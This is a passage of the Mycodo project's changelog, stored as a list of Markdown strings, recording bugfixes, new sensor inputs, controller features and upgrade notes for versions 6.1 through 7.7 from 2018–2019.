([#691](https://github.com/kizniche/mycodo/issues/691))\n - Remove the need for Pyro5 Nameserver ([#692](https://github.com/kizniche/mycodo/issues/692))\n - Add Flask profiler", "\n## 7.7.5 (2019.09.18)", "### Bugfixes", " - Fix inability to activate Conditional Controllers ([#690](https://github.com/kizniche/mycodo/issues/690))", "### Miscellaneous", " - Improve post-alembic upgrade system\n - Improve Pyro5 logging", "\n## 7.7.4 (2019.09.18)", "### Bugfixes", " - Fix issue with Pyro5 proxy handling ([#688](https://github.com/kizniche/mycodo/issues/688))\n - Fix missing Stdout from several log files", "\n## 7.7.3 (2019.09.17)", "### Bugfixes", " - Fix wait time for Atlas Scientific pH Calibration ([#686](https://github.com/kizniche/mycodo/issues/686))\n - Add 'minute' measurement storage to EZO Pump Output\n - Fix database upgrade issues", "### Features", " - Add ability to store multiple measurements for Outputs ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add Calibration: Atlas Scientific EZO Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add ability to select pump modes for Atlas Scientific EZO Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add ability to enable Daemon debug mode from Configuration page\n - Add ability to use FTDI to communicate with Atlas Scientific EZO Pump\n - Upgrade from Pyro4 to Pyro5", "\n## 7.7.2 (2019.09.14)", "### Bugfixes", " - Remove redundant alembic upgrade that can cause upgrade errors\n - Fix moving Conditional/input code during upgrade\n - Generate Conditional/input code for next upgrade\n - Fix MQTT Input ([#685](https://github.com/kizniche/mycodo/issues/685))\n - Fix Atlas Scientific EZO Pump Input issue ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Fix Atlas Scientific EZP Pump Output (UART) error on Output page\n - Fix Atlas Scientific pH Input issue ([#686](https://github.com/kizniche/mycodo/issues/686))\n - Fix issues with calibration of Atlas Scientific pH sensor ([#686](https://github.com/kizniche/mycodo/issues/686))", "### Features", " - Add ability to choose 1, 2, or 3 point pH calibration of Atlas Scientific pH sensor ([#686](https://github.com/kizniche/mycodo/issues/686))", "\n## 7.7.1 (2019.09.08)", "### Bugfixes", " - Fix issue with Pyro4\n - Fix issue with Trigger controllers", "\n## 7.7.0 (2019.09.08)", "This release changes how user-created Python code is executed. This affects Python Code Inputs and Conditional Functions. All effort was made to reformat user scripts during the upgrade process to adhere to the new formatting guidelines, however there are a few instances where scripts could not be updated properly and will need to be done manually by the user before they will work properly. After upgrading your system, ensure your code conforms to the following guidelines:", "1. Conditional Functions\n * Use 4-space indentation (not 2-space, tab, or other)\n * Change measure() to self.measure()\n * Change measure_dict() to self.measure_dict()\n * Change run_action() to self.run_action()\n * Change run_all_actions() to self.run_all_actions()\n * Change message to self.message\n2. Python Code Inputs\n * Use 4-space indentation (not 2-space, tab, or other)\n * Change store_measurement() to self.store_measurement()", "### Bugfixes", " - Fix sunrise/sunset calculation\n - Fix inability to use \",\" in Input custom options\n - Fix install dependencies for Ruuvitag Input ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix reliability issue with Ruuvitag Input (crashing Mycodo daemon) ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix storing of SHT31 Smart Gadget erroneous measurements\n - Prevent Pyro4 TimeoutErrors from stopping PID and Conditional controllers\n - Improve Controller reliability/stability\n - Fix path to pigpiod ([#684](https://github.com/kizniche/mycodo/issues/684))", "### Features", " - Add Pylint test for Python 3 Code Input\n - Add execute_at_creation option for Inputs\n - Add Measurement: Radiation Dose Rate\n - Add Units: Microsieverts per hour (µSv/hr), Counts per minute (cpm)\n - Add 'message' option for custom Inputs to display a message with the Input options in the web interface\n - Add more logs to view and consolidate \"View Logs\" page\n - Add automatic initialization of Input custom_options variables", "### Miscellaneous", " - Refactor how user-created Python code is executed (i.e. Python Code Inputs and Conditional Statements)\n - Refactor RPC by replacing RPyC with Pyro4 for improved system stability ([#671](https://github.com/kizniche/mycodo/issues/671), [#679](https://github.com/kizniche/mycodo/issues/679))\n - Increase Nginx file upload size\n - Reorganize menu layout\n - Modify linux_command exception-handling ([#682](https://github.com/kizniche/mycodo/issues/682))", "\n## 7.6.3 (2019-07-14)", "### Bugfixes", " - Fix calculating VPD", "### Features", " - Add Python 3 Code execution Input", "\n## 7.6.2 (2019-07-11)", "### Bugfixes", " - Various fixes for Raspbian Buster ([#668](https://github.com/kizniche/mycodo/issues/668))", "\n## 7.6.1 (2019-07-11)", "### Bugfixes", " - Fix TH1X-AM2301 Input ([#670](https://github.com/kizniche/mycodo/issues/670))", "\n## 7.6.0 (2019-07-10)", "### Bugfixes", " - Fix inability of Input custom_options value to be 0\n - Fix improper unit conversion for TH1X-AM2301 Input ([#670](https://github.com/kizniche/mycodo/issues/670))\n - Fix Bash Command Input script execution ([#667](https://github.com/kizniche/mycodo/issues/667))", "### Features", " - Add MQTT (paho) Input ([#664](https://github.com/kizniche/mycodo/issues/664))\n - Add timeout option for Linux Command Input", "\n## 7.5.10 (2019-06-17)", "### Bugfixes", " - Fix TTN Data Input timestamps", "\n## 7.5.9 (2019-06-16)", "### Bugfixes", " - Fix rare measurement issue with Ruuvitag\n - Ensure Output Controller has fully started before starting other controllers ([#665](https://github.com/kizniche/mycodo/issues/665))\n - Fix module path of mycodo_client.py when executed from symlink ([#665](https://github.com/kizniche/mycodo/issues/665))", "\n## 7.5.8 (2019-06-13)", "### Bugfixes", " - Fix \"getrandom() initialization failed\" with rng-tools ([#663](https://github.com/kizniche/mycodo/issues/663))\n - Fix issues with TH16/10 with AM2301 and Linux Command Inputs ([#663](https://github.com/kizniche/mycodo/issues/663))", "### Features", " - Add Debug Logging as an LCD option\n - Add traceback to error message during adding Input ([#664](https://github.com/kizniche/mycodo/issues/664))", "\n## 7.5.7 (2019-06-11)", "### Bugfixes", " - Fix Ruuvitag Input", "\n## 7.5.6 (2019-06-11)", "### Bugfixes", " - Fix issues with SHT31 Smart Gadget and Ruuvitag Inputs ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix 500 Error generating measurement/unit choices ([#662](https://github.com/kizniche/mycodo/issues/662))\n - Change AM2320 Input code ([#585](https://github.com/kizniche/mycodo/issues/585))\n - Fix issue with Base Input", "### Features", " - Increase Live page measurement query duration to fix the display of Input measurements", "\n## 7.5.5 (2019-06-03)", "### Bugfixes", " - Add influxdb read/write wait timers to prevent connection errors at startup before influxdb has started", "### Features", " - Add --get_measurement parameter to mycodo_client.py\n \n### Miscellaneous", " - Replace locket with filelock", "\n## 7.5.4 (2019-05-29)", "### Bugfixes", " - Prevent rapid successive measurements from inputs after measurement delay\n - Increase lock timeout for Ruuvitag and SHT31 Smart Gadget ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix IO error during locking for Ruuvitag ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix pytests", "### Features", " - Add RPyC Timeout configuration option\n - Allow multiple PIDs to use the same output ([#661](https://github.com/kizniche/mycodo/issues/661))\n - Add timeout parameter to cmd_output() function\n \n### Miscellaneous", " - Refactor Min Off Duration to be centrally controlled by the Output Controller ([#660](https://github.com/kizniche/mycodo/issues/660))", "\n## 7.5.3 (2019-05-17)", "### Bugfixes", " - Prevent logging aberrant SHT31 Smart Gadget measurements\n - Handle type casting issues with Ruuvitag Input\n - Add Tags to Custom Colors selection of Graphs ([#656](https://github.com/kizniche/mycodo/issues/656))\n - Fix issues with Single Channel Sum and Average Math controllers\n - Fix inability to change Measurement Conversion back to \"Do Not Convert\"\n - Avoid build error with bcrypt 3.1.6 by lowering to version 3.1.4 ([#658](https://github.com/kizniche/mycodo/issues/658))\n - Fix issue with conversion calculation in wet-bulb humidity function", "### Features", " - Add Function Actions: Raise/Lower PID Setpoint ([#657](https://github.com/kizniche/mycodo/issues/657))", "### Miscellaneous", " - Add Unit: Pounds per square inch (psi) ([#657](https://github.com/kizniche/mycodo/issues/657))", "\n## 7.5.2 (2019-05-08)", "### Bugfixes", " - Fix issues with logging", "\n## 7.5.1 (2019-05-06)", "### Bugfixes", " - Fix bug in Input get_value() ([#654](https://github.com/kizniche/mycodo/issues/654))", "\n## 7.5.0 (2019-05-06)", "### Bugfixes", " - Fix storing latest SHT31 Smart Gadget measurements\n - Fix Base Input \\_\\_repr__ and \\_\\_str__\n - Fix unaccounted PID error if activation attempted when Measurement not set ([#649](https://github.com/kizniche/mycodo/issues/649))\n - Fix missing GPIO Pin sanity check ([#650](https://github.com/kizniche/mycodo/issues/650))\n - Fix \"Unknown math type\" filling log ([#651](https://github.com/kizniche/mycodo/issues/651))\n - Fix inability to stop PID autotune ([#651](https://github.com/kizniche/mycodo/issues/651))\n - Fix incomplete display of PID Settings on Mycodo Logs page", "### Features", " - Add Conditional Condition: Measurement (Multiple)\n - Add ability of Inputs to store measurements with the same or separate timestamps\n - Add option to show debug lines in Daemon Log (for Input/Math/PID/Trigger/Conditional)\n - Add Log Filters: Daemon INFO, Daemon DEBUG\n - Add Input: TH1x with DS18B20 ([#654](https://github.com/kizniche/mycodo/issues/654))", "### Miscellaneous", " - Update InfluxDB to 1.7.6", "\n## 7.4.3 (2019-04-17)", "### Bugfixes", " - Fix Sunrise/Sunset calculation\n - Update Infrared Remote section of manual to work with latest kernel\n - Add Bluetooth locking to prevent broken pipes", "### Features", " - Add Input: RuuviTag ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Add Inputs: Atlas Scientific ORP, Atlas Scientific DO (FTDI, UART, I2C) ([#643](https://github.com/kizniche/mycodo/issues/643))\n - Add Reset Pin option and editable location for SD1306 OLED display ([#647](https://github.com/kizniche/mycodo/issues/647))", "\n## 7.4.2 (2019-04-02)", "### Bugfixes", " - Fix Average (single) and Sum (single) Math controllers with an Output selected", "\n## 7.4.1 (2019-04-02)", "### Bugfixes", " - Fix custom input preservation during upgrade", "\n## 7.4.0 (2019-04-01)", "### Bugfixes", " - Include Pre Output activation during Acquire Measurements Now instruction\n - Fix Outputs triggering at startup\n - Fix CCS811 Input measurement issue ([#641](https://github.com/kizniche/mycodo/issues/641))\n - Fix Math controller (equation)\n - Fix sending email notification to multiple recipients\n - Prevent RPyC TimeoutError from crashing PID controller", "### Features", " - Add Input: [The Things Network: Data Storage Integration](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#the-things-network)\n - Add Math controllers: Sum (past, single channel), Sum (last, multiple channels)\n - Add Outputs to Math controllers: Average, Redundancy, Statistics, Sum\n - Add 'required' option for Input 'custom_options' (indicates if option is required to activate Input)\n - Add 'Output State' ('on', 'off', or duty cycle) Condition for Conditional controllers ([#642](https://github.com/kizniche/mycodo/issues/642))", "### Miscellaneous", " - Change channel designations to start at 0", "\n## 7.3.1 (2019-02-26)", "### Bugfixes", " - Fix settings menu layout\n - Significantly improve speed of dependency-checking\n - Fix missing names for Function Actions", "### Features", " - Add dependency system for Function Actions\n - Add proper dependencies for infrared Send Function Action\n - Improve Infrared Send Action by detecting remotes and codes", "\n## 7.3.0 (2019-02-22)", "### Bugfixes", " - Fix issue with check_triggers() in output controller\n - Fix issue preventing export of Notes\n - Fix table issue on Note page", "### Features", " - Add Function Trigger: Infrared Remote Input\n - Add Function Action: Infrared Remote Send", "### Miscellaneous", " - Remove redundant Output (Duration) Trigger (use Output (On/Off) Trigger)", "\n## 7.2.4 (2019-02-20)", "### Bugfixes", " - Fix unset channel causing 500 error ([#631](https://github.com/kizniche/mycodo/issues/631))\n - During first install, initialize after install of influxdb", "### Miscellaneous", " - Add wiringpi to install", "\n## 7.2.3 (2019-02-19)", "### Bugfixes", " - Fix issue with SHT31 Smart Gadget disconnect error-handling\n - Prevent dashboard camera streaming if using the fswebcam library ([#630](https://github.com/kizniche/mycodo/issues/630))\n - Fix number of line characters for 20x4 LCDs ([#627](https://github.com/kizniche/mycodo/issues/627))\n - Fix PID Dashboard widget issues", "### Features", " - Add option to set Output shutdown state (on/off/neither)", "\n## 7.2.2 (2019-02-08)", "### Bugfixes", " - Fix inability to change BMP280 I2C address ([#625](https://github.com/kizniche/mycodo/issues/625))\n - Fix issue triggering function actions ([#626](https://github.com/kizniche/mycodo/issues/626))", "### Features", " - Add log line of PID settings when activated or saved\n - Add PID Settings button to Mycodo Logs page", "\n## 7.2.1 (2019-02-06)", "### Bugfixes", " - Remove bluepy version restriction that conflicts with another requirement for the latest version\n - Fix Energy Usage calculations\n - Fix output controller startup issue\n - Fix notes duplicating on graphs\n - Fix inability of Function Action (Output PWM) to set a duty cycle of 0\n - Fix inability of Function Action (Activate Controller) to activate Conditional\n - Fix pigpio dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))", "### Features", " - Add asynchronous graphs to Energy Usage summaries", "### Miscellaneous", " - Improve error-handling of Function Actions", "\n## 7.2.0 (2019-02-04)", "### Bugfixes", " - Fix calculating Output Usage\n - Fix error-handling of PWM signal generation ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))", "### Features", " - Add new energy usage/cost analysis based on amperage measurements (See [Energy Usage](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#energy-usage) in the manual)\n - Add password recovery feature (technically just creates new admin user from the command line)", "\n## 7.1.7 (2019-02-02)", "### Bugfixes", " - Attempted fix of output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix PID Autotune ungraceful exit ([#621](https://github.com/kizniche/mycodo/issues/621))", "\n## 7.1.6 (2019-01-30)", "### Bugfixes", " - Attempted fix of output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix issue creating Triggers ([#618](https://github.com/kizniche/mycodo/issues/618))", "### Features", " - Add LCD: 128x64 OLED ([#589](https://github.com/kizniche/mycodo/issues/589))\n - Improve SHT31 Smart Gadget module", "### Miscellaneous", " - Update Translations\n - Add Languages: Dutch, Norwegian, Serbian, Swedish", "\n## 7.1.5 (2019-01-28)", "### Bugfixes", " - Fix issue downloading logged data from SHT31 Smart Gadget\n - Fix issue using PID measurements on Measurement Dashboard widget ([#616](https://github.com/kizniche/mycodo/issues/616))\n - Fix issue with Python Command Output variable declaration", "### Features", " - Add Dashboard widget: Indicator ([#606](https://github.com/kizniche/mycodo/issues/606))", "\n## 7.1.4 (2019-01-26)", "### Bugfixes", " - Fix dependency issue preventing Mycodo installation ([#614](https://github.com/kizniche/mycodo/issues/614))", "### Features", " - Add Diagnostic option: Delete Settings Database", "\n## 7.1.3 (2019-01-23)", "### Bugfixes", " - Fix missing PID Setpoint measurement\n - Fix missing location option for Free Space Input", "\n## 7.1.2 (2019-01-23)", "### Bugfixes", " - Fix Method editing", "\n## 7.1.1 (2019-01-22)", "### Bugfixes", " - Fix Conditional Statement testing during form save ([#610](https://github.com/kizniche/mycodo/issues/610))", "\n## 7.1.0 (2019-01-20)", "This release changes Conditional behavior. After upgrading to this version, your Conditional Statements should have every Condition '{ID}' changed to 'measure(\"{ID}\")'. Check every Conditional after the upgrade to ensure they work as expected. Additionally, the recommended logic to store and test measurements has changed, so review the Examples in the [Conditionals section of the manual](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#conditional).", "### Bugfixes", " - Fix Error message when activating/deactivating controllers (no actual error occurred)\n - Fix (workaround) for inability to display Note whitespaces on Graphs", "### Features", " - Add ability to conduct individual measurement in Conditional Statements ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add ability to execute individual actions in Conditional Statements ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add ability to modify the Conditional message ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add Function Actions: Email with Photo Attachment, Email with Video Attachment", "\n## 7.0.5 (2019-01-10)", "### Bugfixes", " - Fix missing Atlas pH Input baud rate option ([#597](https://github.com/kizniche/mycodo/issues/597))\n - Fix properly displaying I2C/UART Input options\n - Fix issue requiring action selection to submit form ([#595](https://github.com/kizniche/mycodo/issues/595))\n - Fix output duration not being logged if settings saved while output is currently on\n - Fix instability of dependency system\n - Fix missing libglib2.0-dev dependency of SHT31 Smart Gadget", "### Features", " - Add FTDI support for Atlas Scientific sensors ([#597](https://github.com/kizniche/mycodo/issues/597))\n - Add Output option to trigger Functions at startup", "### Miscellaneous", " - Update SHT31 Smart Gadget Input module", "\n## 7.0.4 (2019-01-07)", "### Bugfixes", " - Fix issue with converted measurements unable to be used with Conditionals ([#592](https://github.com/kizniche/mycodo/issues/592))\n - Add pi-bluetooth to SHT31 Smart Gadget dependencies ([#588](https://github.com/kizniche/mycodo/issues/588))\n - Fix issue using PIDs and Graphs with converted measurement units ([#594](https://github.com/kizniche/mycodo/issues/594))\n - Fix issue with mixed up order of Graph series\n - Fix issue recording output durations", "### Features", " - Add OWFS support for 1-wire devices (currently only DS18B20, DS18S20 supported) ([#582](https://github.com/kizniche/mycodo/issues/582))\n - Add ability to delete .dependency and .upgrade files from the web UI ([#590](https://github.com/kizniche/mycodo/issues/590))", "### Miscellaneous", " - Update several Python modules, update InfluxDB to 1.7.2\n - Update manual FAQs", "\n## 7.0.3 (2018-12-25)", "### Bugfixes", " - Fix rendering new lines in Note text on graphs\n - Fix display of proper unit on Measurement Dashboard element ([#583](https://github.com/kizniche/mycodo/issues/583))\n - Fix missing libjpeg-dev dependency for PiOLED ([#584](https://github.com/kizniche/mycodo/issues/584))\n - Fix dependencies for AMG88xx Input", "### Features", " - Add Function Action: Create Note\n - Add Input: Sonoff TH10/16 humidity and temperature sensor ([#583](https://github.com/kizniche/mycodo/issues/583))\n - Add Input: AM2320 I2C humidity and temperature sensor ([#585](https://github.com/kizniche/mycodo/issues/585))", "### Miscellaneous", " - Change method for detecting 1-wire devices ([#582](https://github.com/kizniche/mycodo/issues/582))\n - Disable variable replacement in Command Execution Function Action until it can be fixed to work with new measurement system", "\n## 7.0.2 (2018-12-21)", "### Bugfixes", " - Fix inability to reorder Dashboard, Data, Output, and Function elements\n - Fix Edge Inputs not appearing in Edge Trigger input selection\n - Fix use of Atlas pH temperature calibration from Input/Math", "### Features", " - Add Additional check for Conditional Statements if {ID} is replaced with None ([#571](https://github.com/kizniche/mycodo/issues/571))\n - Add ability to set Logging Interval and download logged data from SHT31 Smart Gadget ([#559](https://github.com/kizniche/mycodo/issues/559))\n - Add Math: Input Backup: If a measurement of an Input cannot be found, look for a measurement of another (or another, etc.) ([#559](https://github.com/kizniche/mycodo/issues/559))", "### Miscellaneous", " - Add check so SHT31 Smart Gadget user options don't cause the number of stored measurements to exceed the internal memory", "\n## 7.0.1 (2018-12-09)", "### Bugfixes", " - Fix PiOLED LCD from changing I2C address when options are saved ([#579](https://github.com/kizniche/mycodo/issues/579))\n - Fix Generic 16x2/16x4 LCD display issue ([#578](https://github.com/kizniche/mycodo/issues/578))\n - Fix Math Add dropdown items having the same name ([#580](https://github.com/kizniche/mycodo/issues/580))", "### Features", " - Add ability to induce an Input to acquire/store measurements from the web UI\n - Add Input: SHT31 Smart Gadget (Bluetooth) humidity/temperature sensor ([#559](https://github.com/kizniche/mycodo/issues/559))\n - Add blank line to LCD display options ([#579](https://github.com/kizniche/mycodo/issues/579))", " ### Miscellaneous", " - Add verification for Conditional Statement code", "\n## 7.0.0 (2018-12-08)", "The Mycodo 7.0 introduces many redesigned systems, including measurements/units, conversions, conditionals, and more (see full list, below). The remnants of Conditionals have been moved to a new controller, called Triggers, which executes actions in response to event triggers (such as time-based events, Output changes, sunrises/sunsets, etc.). The new Conditional system incorporates a powerful way of developing complex conditional statements. See ([#493](https://github.com/kizniche/mycodo/issues/493)) for more information. Since earlier versions are not compatible with 7.x, all 6.x users will have to perform a fresh install or delete their settings database. An option will be presented on the upgrade page to delete the database and perform an upgrade.", "### Bugfixes", " - Fix issue preventing PID Method from changing setpoint (#566)\n - Fix issue with calibration of DS-type sensors\n - Fix module loading issue by restarting the daemon following dependency install ([#569](https://github.com/kizniche/mycodo/issues/569))\n - Fix issue adding Daily Time-Based method ([#550](https://github.com/kizniche/mycodo/issues/550))", "### Features", " - Add Function: Execute Actions\n - Add Function Action: Pause (pause for a duration of time between executing specific actions)\n - Add Input: MCP9808 (I2C) high accuracy temperature sensor\n - Add Input: AMG8833 (I2C) 8x8 pixel thermal sensor\n - Add Input: SHT31 (I2C) humidity/temperature sensor\n - Add LCD: PiOLED 128x32 (I2C) LCD ([#579](https://github.com/kizniche/mycodo/issues/579))\n - Add Output: Python Command (On/Off and PWM)\n - Add Output: Atlas EZO-PMP (I2C/UART) Peristaltic Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add Vapor Pressure Deficit calculation to Inputs that measure temperature and relative humidity ([#572](https://github.com/kizniche/mycodo/issues/572))\n - Add Vapor Pressure Deficit Math controller ([#572](https://github.com/kizniche/mycodo/issues/572))\n - Add Start Offset option for PID, Math, and Conditionals\n - Add ability to search Input selection dropdown list", "### Miscellaneous", " - Refactor Conditional system ([#493](https://github.com/kizniche/mycodo/issues/493))\n - Refactor Analog-to-digital converters ([#550](https://github.com/kizniche/mycodo/issues/550))\n - Refactor Measurement/Unit system ([#550](https://github.com/kizniche/mycodo/issues/550))\n - Refactor Conversion system ([#493](https://github.com/kizniche/mycodo/issues/493))\n - Upgrade InfluxDB from 1.6.0 to 1.7.0\n - Add User Role: Kiosk", "\n## 6.4.7 (2018-12-08)", "This is the final release of version 6.x. Upgrading to 7.x will require a database wipe. This will be an option presented in the Mycodo upgrade page. If you do not want to lose your Mycodo data (settings AND measurement data), do not upgrade to 7.x.", "\n## 6.4.5 (2018-10-17)", "### Bugfixes", " - Fix issues with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with saving float values", "### Miscellaneous", " - Replace smbus with smbus2 ([#549](https://github.com/kizniche/mycodo/issues/549))", "\n## 6.4.4 (2018-10-14)", "### Features", " - Add enhanced reorder functionality for Input, Output, Math, PID, and Conditional controllers\n - Add ability to set camera still, timelapse, and video file save locations ([#498](https://github.com/kizniche/mycodo/issues/498))\n - Add ability to export/import notes and note attachments ([#548](https://github.com/kizniche/mycodo/issues/548))", "### Bugfixes", " - Fix authentication issue with Remote Administration\n - Fix issues with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with saving float values", "### Miscellaneous", " - Replace smbus with smbus2 ([#549](https://github.com/kizniche/mycodo/issues/549))", "\n## 6.4.3 (2018-10-13)", "### Bugfixes", " - Fix authentication issue introduced in 6.4.2", "\n## 6.4.2 (2018-10-13)", "### Features", " - Add MH-Z19 option: enable/disable automatic baseline correction (ABC)\n - Add ability to Test/trigger all Conditional Actions of a Conditional ([#524](https://github.com/kizniche/mycodo/issues/524))", "### Bugfixes", " - Fix Cozir module pycozir egg\n - Fix often-erroneous first measurement of ZH03B and MH-Z19 sensors\n - Fix issue with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))", "\n## 6.4.1 (2018-10-11)", "### Bugfixes", " - Fix database upgrade issue", "\n## 6.4.0 (2018-10-11)", "### Features", " - Add Input: ADS1256 Analog-to-digital converter ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Add ability to create custom options for Input modules ([#525](https://github.com/kizniche/mycodo/issues/525))\n - Add conversions between ppm/ppb and percent", "### Bugfixes", " - Fix issue determining PID setpoint unit on LCDs\n - Fix issue displaying IP address on LCD\n - Fix issue with client activating controllers ([#532](https://github.com/kizniche/mycodo/issues/532))\n - Fix issue with Linux Command Input ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with installing internal dependencies (e.g. pigpiod) ([#538](https://github.com/kizniche/mycodo/issues/538))\n - Potential fix for Miflora input ([#540](https://github.com/kizniche/mycodo/issues/540))\n - Fix missing Baud Rate option for K30 input ([#541](https://github.com/kizniche/mycodo/issues/541))\n - Fix 500 Error on Raspberry Pi Config page ([#536](https://github.com/kizniche/mycodo/issues/536))\n - Add turning ABC mode off during MHZ19 input initialization ([#546](https://github.com/kizniche/mycodo/issues/546))\n - Fix German \"Output\" translation", "### Miscellaneous", " - Set InfluxDB timeout to 5 seconds ([#539](https://github.com/kizniche/mycodo/issues/539))\n - Update Winsen ZH03B input module code ([#543](https://github.com/kizniche/mycodo/issues/543))", "\n## 6.3.9 (2018-09-18)", "### Bugfixes", " - Fix issue with installing dependencies ([#531](https://github.com/kizniche/mycodo/issues/531))\n - Fix issue with Edge devices", "\n## 6.3.8 (2018-09-17)", "### Bugfixes", " - Fix issue with database upgrade", "\n## 6.3.7 (2018-09-17)", "### Bugfixes", " - Fix issue with database upgrade", "\n## 6.3.6 (2018-09-17)", "### Bugfixes", " - Fix issue with Edge devices", "\n## 6.3.5 (2018-09-17)", "### Bugfixes", " - Fix issue with 1-Wire devices ([#529](https://github.com/kizniche/mycodo/issues/529))", "\n## 6.3.4 (2018-09-17)", "### Bugfixes", " - Fix issue with note system during upgrade ([#529](https://github.com/kizniche/mycodo/issues/529))", "\n## 6.3.3 (2018-09-17)", "### Bugfixes", " - Fix Cozir input issue", "\n## 6.3.2 (2018-09-16)", "### Bugfixes", " - Fix ZH03B input", "\n## 6.3.1 (2018-09-16)", "This release adds the ability to import input modules, allowing new inputs to be created by the user. Documentation (https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#create-your-own-input-module) for developing your own input modules is in development. See issue #525 for more information about it's development and discussion. Also with this release is a new section for Notes (More -> Notes, https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#notes). Notes are associated with one more more tags that can be created. Notes can also have files attached to them. These notes can be displayed on graphs to easily identify when a certain event happened in the past (or future).", "### Features", " - Implement self-contained input modules ([#525](https://github.com/kizniche/mycodo/issues/525))\n - Add Note system ([#527](https://github.com/kizniche/mycodo/issues/527))", "\n## 6.2.4 (2018-09-03)", "### Features", " - Add Winsen ZH03B Particulate sensor ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Reduce install to one command", "### Bugfixes", " - Fix inability to set camera device ([#519](https://github.com/kizniche/mycodo/issues/519))\n - Fix initialization of UART MHZ16 ([#520](https://github.com/kizniche/mycodo/issues/520))\n - Fix issue with BMP280 ([#522](https://github.com/kizniche/mycodo/issues/522))", "## 6.2.3 (2018-08-28)", "### Bugfixes", " - Fix issue with major version upgrade initialization\n - Fix issue with PWM output dashboard element updating ([#517](https://github.com/kizniche/mycodo/issues/517))\n - Fix dependency check for DS-type sensor calibration ([#518](https://github.com/kizniche/mycodo/issues/518))\n - Fix issue with Adafruit deprecating BMP, TMP, and CCS811 ([#346](https://github.com/kizniche/mycodo/issues/346), [#503](https://github.com/kizniche/mycodo/issues/503))", "\n## 6.2.2 (2018-08-22)", "### Features", " - Add translations: Italian, Portuguese", "### Bugfixes", " - Fix display of IP address on LCD ([#507](https://github.com/kizniche/mycodo/issues/507))\n - Fix graph manual y-axis min/max ([#516](https://github.com/kizniche/mycodo/issues/516))\n - Fix issue with deleting all dashboard elements", "\n## 6.2.1 (2018-08-20)", "### Features", " - Add Diagnostic section of configuration menu with first function: Delete All Dashboard Elements ([#515](https://github.com/kizniche/mycodo/issues/515), [#516](https://github.com/kizniche/mycodo/issues/516))", "### Bugfixes", " - Fix issue with units on LCDs ([#514](https://github.com/kizniche/mycodo/issues/514))", "\n## 6.2.0 (2018-08-15)", "### Features", " - New measurement/unit configuration system (select which unit to convert/store for input measurements) ([#506](https://github.com/kizniche/mycodo/issues/506))\n - Add ability to create new measurements, units, and conversions ([#506](https://github.com/kizniche/mycodo/issues/506))\n - Enable conversion of disk space (kB, MB, GB), frequency (Hz, kHz, MHz), and humidity (%, decimal)\n - Add option to display IP address on LCD ([#507](https://github.com/kizniche/mycodo/issues/507))\n - Full German Translation ([#507](https://github.com/kizniche/mycodo/issues/507)) (@pmunz75)\n - Add PID Autotune feature (currently disabled; may be enabled in the release, pending testing)\n - Add New Translations: Russian, Chinese\n - Complete Translations: German, Spanish, French", "### Bugfixes", " - Fix issue activating Cozir CO2 sensor ([#495](https://github.com/kizniche/mycodo/issues/495))\n - Fix issue with order not updating correctly when Conditional is deleted\n - Fix issue with output usage report generation ([#504](https://github.com/kizniche/mycodo/issues/504))\n - Fix proper conversion of temperatures/pressure for Wet-Bulb Humidity Math\n - Fix Atlas pH UART sensor module ([#509](https://github.com/kizniche/mycodo/issues/509))", "### Miscellaneous", " - Update InfluxDB 1.5.0 -> 1.6.0", "\n## 6.1.4 (2018-06-28)", "### Features", " - Increase verbosity of conditional email notification\n - Add Cozir CO2 sensor Input ([#495](https://github.com/kizniche/mycodo/issues/495))\n - Allow CO2 to be converted from ppm <-> ppb", "### Bugfixes", " - Fix pressure measurements being forced to integer ([#476](https://github.com/kizniche/mycodo/issues/476))\n - Fix CCS811 Input measurement ([#467](https://github.com/kizniche/mycodo/issues/467))\n - Fix pigpio dependency install issue\n - Prevent pre-output from remaining on after an Input is deactivated\n - Enable unit conversions for AM2315\n - Fix issue setting PID setpoint from Dashboard ([#496](https://github.com/kizniche/mycodo/issues/496))\n - Fix displaying custom graph colors ([#491](https://github.com/kizniche/mycodo/issues/491))", "### Miscellaneous", " - Remove I2C support for K30 CO2 sensor (until properly tested)\n - Update to Bootstrap 4.1.1\n - Remove remaining Fahrenheit conversions from Live page\n - Update 433 MHz wireless script (test send/receive, determine/receive commands from remote)", "\n## 6.1.3 (2018-06-05)", "### Features", " - Add I2C support for K30 CO2 sensor (untested)", "### Bugfixes", " - Fix service executable location ([#487](https://github.com/kizniche/mycodo/issues/487))\n - Fix inability to set duty cycle from frontend ([#485](https://github.com/kizniche/mycodo/issues/485))\n - Fix (finally) saving Time-based Conditional times ([#488](https://github.com/kizniche/mycodo/issues/488))", "\n## 6.1.2 (2018-05-23)", "### Features", " - Add option to set Miflora Bluetooth adapter ([#483](https://github.com/kizniche/mycodo/issues/483))", "### Bugfixes", " - Fix exception-handling of sending test email ([#471](https://github.com/kizniche/mycodo/issues/471))\n - Fix HDC1000 initialization issue ([#467](https://github.com/kizniche/mycodo/issues/467))\n - Fix 